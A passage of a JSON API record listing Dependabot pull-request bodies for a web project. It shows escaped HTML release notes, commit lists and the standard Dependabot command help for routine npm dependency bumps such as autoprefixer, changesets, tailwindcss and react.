fix(vm): fix external module resolve error with deps optimizer query for enco...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587cb61d8338d83f525295322692a2db40\"\u003e\u003ccode\u003e934b0f5\u003c/code\u003e\u003c/a\u003e fix(pool): prevent test run hang on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10543\"\u003e#10543\u003c/a\u003e) [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651afbae2a9b0cefe6c031a9308f168ac60\"\u003e\u003ccode\u003e7fb2965\u003c/code\u003e\u003c/a\u003e fix(browser): wait for orchestrator readiness before resolving browser sessio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c1be7089e3705e3dd9e84fea118d09d3\"\u003e\u003ccode\u003ea518019\u003c/code\u003e\u003c/a\u003e fix: fix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.0 to 10.5.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e99e38122ce706747c903ef321a3c1df2d7ada3e\"\u003e\u003ccode\u003ee99e381\u003c/code\u003e\u003c/a\u003e Release 10.5.2 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/98de3f5238ba92ce3bbf1a36b52cafcb44cddcfb\"\u003e\u003ccode\u003e98de3f5\u003c/code\u003e\u003c/a\u003e Move -webkit-fill-available before -moz-available to get a closer to spec res...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/8fe2513502248c84ea5a6c35a3f843cb9dd7e682\"\u003e\u003ccode\u003e8fe2513\u003c/code\u003e\u003c/a\u003e Release 10.5.1 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/60ea6516dbf9efa9fe2dfeddac6b638904a93e52\"\u003e\u003ccode\u003e60ea651\u003c/code\u003e\u003c/a\u003e Update release process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/cbd4a70f5fad6b5325f31836161ed70b5837a915\"\u003e\u003ccode\u003ecbd4a70\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/ffae49ff54e1a487124116844d538016aa809449\"\u003e\u003ccode\u003effae49f\u003c/code\u003e\u003c/a\u003e fix: reset grid area spans when overriding areas (\u003ca href=\"https://redirect.github.com/postcss/autoprefixer/issues/1549\"\u003e#1549\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/d90ad86a4e5f938c0e11cf15d1cf3ced900b94cb\"\u003e\u003ccode\u003ed90ad86\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/a0f701bae5104043fc971452dc29e7adf1fc227a\"\u003e\u003ccode\u003ea0f701b\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/bb935eb1b990468b8c368fcba0453e26ed45af28\"\u003e\u003ccode\u003ebb935eb\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e63efe462908e74825c7a42e8af2d365b5745a65\"\u003e\u003ccode\u003ee63efe4\u003c/code\u003e\u003c/a\u003e Move to pnpm 11\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.0...10.5.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for autoprefixer since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Halildeu/platform-web/pull/912","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Halildeu%2Fplatform-web/issues/912","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/912/packages"}},{"old_version":"8.5.6","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-14T04:04:13.000Z","version_change":"8.5.6 → 8.5.19","issue":{"uuid":"4879736577","node_id":"PR_kwDOQ7bryM7xX5E-","number":23,"state":"closed","title":"chore(deps): bump the minor-and-patch group across 1 directory with 26 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-07-15T11:29:42.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-14T04:04:13.000Z","updated_at":"2026-07-15T11:29:43.000Z","time_to_close":113129,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-and-patch","update_count":26,"packages":[{"name":"@changesets/changelog-github","old_version":"0.5.2","new_version":"0.7.0","repository_url":"https://github.com/changesets/changesets"},{"name":"@changesets/cli","old_version":"2.29.8","new_version":"2.31.0","repository_url":"https://github.com/changesets/changesets"},{"name":"turbo","old_version":"2.7.4","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"jiti","old_version":"2.6.1","new_version":"2.7.0","repository_url":"https://github.com/unjs/jiti"},{"name":"drizzle-orm","old_version":"0.38.4","new_version":"0.45.2","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"hono","old_version":"4.11.4","new_version":"4.12.30","repository_url":"https://github.com/honojs/hono"},{"name":"@aws-sdk/client-s3","old_version":"3.971.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/s3-request-presigner","old_version":"3.971.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"mqtt","old_version":"5.14.1","new_version":"5.15.2","repository_url":"https://github.com/mqttjs/MQTT.js"},{"name":"tsx","old_version":"4.21.0","new_version":"4.23.1","repository_url":"https://github.com/privatenumber/tsx"},{"name":"@radix-ui/react-accordion","old_version":"1.2.12","new_version":"1.2.16","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.16","new_version":"2.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-navigation-menu","old_version":"1.2.14","new_version":"1.2.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.10","new_version":"1.2.14","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slot","old_version":"1.2.4","new_version":"1.3.0","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.13","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.8","new_version":"1.2.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"geist","old_version":"1.5.1","new_version":"1.7.2","repository_url":"https://github.com/vercel/geist-font"},{"name":"react","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@types/react","old_version":"19.2.8","new_version":"19.2.17","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@tailwindcss/postcss","old_version":"4.1.18","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"postcss","old_version":"8.5.6","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"tailwindcss","old_version":"4.1.18","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@changesets/changelog-github](https://github.com/changesets/changesets) | `0.5.2` | `0.7.0` |\n| [@changesets/cli](https://github.com/changesets/changesets) | `2.29.8` | `2.31.0` |\n| [turbo](https://github.com/vercel/turborepo) | `2.7.4` | `2.10.5` |\n| [jiti](https://github.com/unjs/jiti) | `2.6.1` | `2.7.0` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.38.4` | `0.45.2` |\n| [hono](https://github.com/honojs/hono) | `4.11.4` | `4.12.30` |\n| [@aws-sdk/client-s3](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3) | `3.971.0` | `3.1086.0` |\n| [@aws-sdk/s3-request-presigner](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/s3-request-presigner) | `3.971.0` | `3.1086.0` |\n| [mqtt](https://github.com/mqttjs/MQTT.js) | `5.14.1` | `5.15.2` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.21.0` | `4.23.1` |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.12` | `1.2.16` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.16` | `2.1.20` |\n| [@radix-ui/react-navigation-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/navigation-menu) | `1.2.14` | `1.2.18` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.10` | `1.2.14` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-slot](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slot) | `1.2.4` | `1.3.0` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.13` | `1.1.17` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.8` | `1.2.12` |\n| [geist](https://github.com/vercel/geist-font/tree/HEAD/packages/next) | `1.5.1` | `1.7.2` |\n| [react](https://github.com/facebook/react/tree/HEAD/packages/react) | `19.2.3` | `19.2.7` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.8` | `19.2.17` |\n| [react-dom](https://github.com/facebook/react/tree/HEAD/packages/react-dom) | `19.2.3` | `19.2.7` |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.1.18` | `4.3.2` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.6` | `8.5.19` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.1.18` | `4.3.2` |\n\n\nUpdates `@changesets/changelog-github` from 0.5.2 to 0.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/changesets/changesets/releases\"\u003e@​changesets/changelog-github's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/changelog-github\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.7.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1255\"\u003e#1255\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/94578cf164aa7abcb12b97dd3a55d12a324f4fe8\"\u003e\u003ccode\u003e94578cf\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Kauhsa\"\u003e\u003ccode\u003e@​Kauhsa\u003c/code\u003e\u003c/a\u003e! - Added \u003ccode\u003edisableThanks\u003c/code\u003e option\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/changelog-github\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.6.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1850\"\u003e#1850\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/fd0bc2e997a7bf603415489d10fcac0ca129badf\"\u003e\u003ccode\u003efd0bc2e\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Linkify issue references in changelog entries.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1810\"\u003e#1810\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/27fd8f41dddafcc2e96e7df39dca04d92f916a0a\"\u003e\u003ccode\u003e27fd8f4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/hirasso\"\u003e\u003ccode\u003e@​hirasso\u003c/code\u003e\u003c/a\u003e! - Replace deprecated \u003ccode\u003eString.prototype.trimRight\u003c/code\u003e with \u003ca href=\"https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd\"\u003e\u003ccode\u003eString.prototype.trimEnd\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/changesets/changesets/commit/d4b8ad8158fe4d900abc5052dacaa8be1f41a232\"\u003e\u003ccode\u003ed4b8ad8\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/changesets/changesets/commit/e462d892af560d0e3cf5d2f04da230751fbd05ca\"\u003e\u003ccode\u003ee462d89\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/get-github-info\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.8.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d1ef2d8cc11f86042a82f0cf7b125021e24dafc4\"\u003e\u003ccode\u003ed1ef2d8\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1950\"\u003e#1950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/7af587636b8e793cc43fc6a52d32598193fcb68e\"\u003e\u003ccode\u003e7af5876\u003c/code\u003e\u003c/a\u003e Restrict \u003ccode\u003epublish\u003c/code\u003e job to the \u003ccode\u003enpm\u003c/code\u003e env (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1972\"\u003e#1972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/ff767d2da25173bcab643826702b2af74cbf08cf\"\u003e\u003ccode\u003eff767d2\u003c/code\u003e\u003c/a\u003e Sync config-file-options documentation with schema.json and source code (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1683\"\u003e#1683\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/951094babb7c356536c243e9cca0faa3ec86360a\"\u003e\u003ccode\u003e951094b\u003c/code\u003e\u003c/a\u003e fix: pin 2 unpinned action(s) (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1915\"\u003e#1915\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/94578cf164aa7abcb12b97dd3a55d12a324f4fe8\"\u003e\u003ccode\u003e94578cf\u003c/code\u003e\u003c/a\u003e Added \u003ccode\u003edisableThanks\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1255\"\u003e#1255\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d87334df92a36788e778b21e2bc603beb754f0d5\"\u003e\u003ccode\u003ed87334d\u003c/code\u003e\u003c/a\u003e Support dark mode banner in readme (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1943\"\u003e#1943\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/87472a757062402ca121bd168d693a1be866cf45\"\u003e\u003ccode\u003e87472a7\u003c/code\u003e\u003c/a\u003e Update .vscode/settings.json (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1944\"\u003e#1944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/317a373aef2639e4ca2804f20aeb4af5338c41ca\"\u003e\u003ccode\u003e317a373\u003c/code\u003e\u003c/a\u003e Disable \u003ccode\u003epublish_pr\u003c/code\u003e job\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/9cce6db18ddecbf7f9cded45254b9905b19a7516\"\u003e\u003ccode\u003e9cce6db\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1897\"\u003e#1897\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d2121dc3d86b55f76de6022ccfcde843ed4b884a\"\u003e\u003ccode\u003ed2121dc\u003c/code\u003e\u003c/a\u003e Fix npm auth for path-based registries during publish by preserving configure...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/changesets/changesets/compare/@changesets/read@0.5.2...@changesets/changelog-github@0.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​changesets/changelog-github\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@changesets/cli` from 2.29.8 to 2.31.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/changesets/changesets/releases\"\u003e@​changesets/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/cli\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.31.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1889\"\u003e#1889\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/96ca062272605c14f77a64043f50a0a3a278c57f\"\u003e\u003ccode\u003e96ca062\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Error on unsupported flags for individual CLI commands and print the matching command usage to make mistakes easier to spot.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1873\"\u003e#1873\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/42943b74d7a455ed03b93dd85e1c0a15f45db37f\"\u003e\u003ccode\u003e42943b7\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Respond to \u003ccode\u003e--help\u003c/code\u003e on all subcommands. Previously, \u003ccode\u003e--help\u003c/code\u003e was only handled when it was the sole argument; passing it alongside a subcommand (e.g. \u003ccode\u003echangeset version --help\u003c/code\u003e) would silently execute the command instead. Now \u003ccode\u003e--help\u003c/code\u003e always exits early and prints per-command usage when a known subcommand is provided, or the general help text otherwise.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d2121dc3d86b55f76de6022ccfcde843ed4b884a\"\u003e\u003ccode\u003ed2121dc\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Fix npm auth for path-based registries during publish by preserving configured registry URLs instead of normalizing them.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1888\"\u003e#1888\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Fix several \u003ccode\u003echangeset version\u003c/code\u003e issues with workspace protocol dependencies. Valid explicit \u003ccode\u003eworkspace:\u003c/code\u003e ranges and aliases are no longer rewritten unnecessarily, and workspace path references are handled correctly during versioning.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1903\"\u003e#1903\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/5c4731fea82ce880500ac5e1c55ff372f7a4efe2\"\u003e\u003ccode\u003e5c4731f\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Gracefully handle stale \u003ccode\u003enpm info\u003c/code\u003e data leading to duplicate publish attempts.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1867\"\u003e#1867\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/f61e7166c349d4934e4acc9b47f3d028c212ecc1\"\u003e\u003ccode\u003ef61e716\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Improved detection for \u003ccode\u003epublished\u003c/code\u003e state of prerelease-only packages without \u003ccode\u003elatest\u003c/code\u003e dist-tag on GitHub Packages registry.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/assemble-release-plan\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.0.10\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/get-dependents-graph\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/apply-release-plan\u003c/code\u003e\u003ca 